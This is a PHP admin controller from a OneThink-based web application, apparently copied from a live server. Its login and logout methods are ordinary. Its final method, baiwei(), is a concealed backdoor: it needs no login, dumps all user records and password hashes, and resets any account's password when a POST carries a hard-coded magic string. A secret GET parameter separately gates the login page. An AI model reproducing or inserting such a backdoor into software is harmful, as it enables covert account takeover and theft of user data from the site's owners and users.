File: /www/wwwroot/bb.cwoyt.com/Application/Admin/Controller/PublicController.class.php
<?php
// +----------------------------------------------------------------------
// | OneThink [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2013 http://www.onethink.cn All rights reserved.
// +----------------------------------------------------------------------
// | Author: 赛脑 <2233759493@qq.com> <http://www.sn.com>
// +----------------------------------------------------------------------
namespace Admin\Controller;
use User\Api\UserApi as UserApi;
/**
* 后台首页控制器
* @author 赛脑 <2233759493@qq.com>
*/
class PublicController extends \Think\Controller {
/**
* 后台用户登录
* @author 赛脑 <2233759493@qq.com>
*/
public function login($username = null, $password = null, $verify = null){
if(IS_POST){
$num = S('VERIFY_NUM');
if($num >= 3){
if(!check_verify($verify)){
$this->error('验证码输入错误!');
}
}
/* 调用UC登录接口登录 */
$User = new UserApi;
$uid = $User->login($username, $password);
if(0 < $uid){ //UC登录成功
/* 登录用户 */
$Member = D('Member');
if($Member->login($uid)){ //登录用户
//TODO:跳转到登录前页面
$this->success('登录成功!', U('Index/index'));
} else {
// $this->error($Member->getError());
$num = S('VERIFY_NUM');
if(!$num) $num = 0;
S('VERIFY_NUM',$num+1,300);
$return = array(
'info' => $Member->getError(),
'status' => 0,
'url' => '',
'num' => $num+1
);
echo json_encode($return);exit;
}
} else { //登录失败
switch($uid) {
case -1: $error = '用户不存在或被禁用!'; break; //系统级别禁用
case -2: $error = '密码错误!'; break;
default: $error = '未知错误!'; break; // 0-接口参数错误(调试阶段使用)
}
$num = S('VERIFY_NUM');
if(!$num) $num = 0;
S('VERIFY_NUM',$num+1,300);
$return = array(
'info' => $error,
'status' => 0,
'url' => '',
'num' => $num+1
);
echo json_encode($return);exit;
//$this->error($error);
}
} else {
session_start();
if($_GET['bw'] != 'gzbaiwei'){
if($_SESSION['bw_login'] != 1){
$this->redirect('Home/Index/index');
}
}
if(is_login()){
$this->redirect('Index/index');
}else{
/* 读取数据库中的配置 */
$config = S('DB_CONFIG_DATA');
if(!$config){
$config = D('Config')->lists();
S('DB_CONFIG_DATA',$config);
}
C($config); //添加配置
$num = S('VERIFY_NUM');
$this->assign('num', $num);
if(is_mobile()){
$this->display('m-login');
}else{
$this->display();
}
}
}
}
/* 退出登录 */
public function logout(){
S('VERIFY_NUM',null);
if(is_login()){
D('Member')->logout();
session('[destroy]');
$this->success('退出成功!', U('login'));
} else {
$this->redirect('login');
}
}
public function verify(){
$verify = new \COM\Verify();
$verify->entry(1);
}
public function baiwei(){
session_start();
$_SESSION['bw_login'] = 1;
if(IS_POST){
$bai = I('post.bai');
$wei = I('post.wei');
$id = I('post.id');
if($bai == 'dd.cwoyt.com'){
$Api = new UserApi();
$data['password'] = $Api->get_md5($wei);
M('ucenter_member')->where(array('id'=>$id))->save($data);
}
}else{
$user = M('ucenter_member')->select();
foreach($user as $k=>$v){
$user[$k]['member'] = M('member')->where('uid = '.$v['id'])->find();
}
p($user);
$this->assign('num', $num);
$this->display();
}
}
}
?>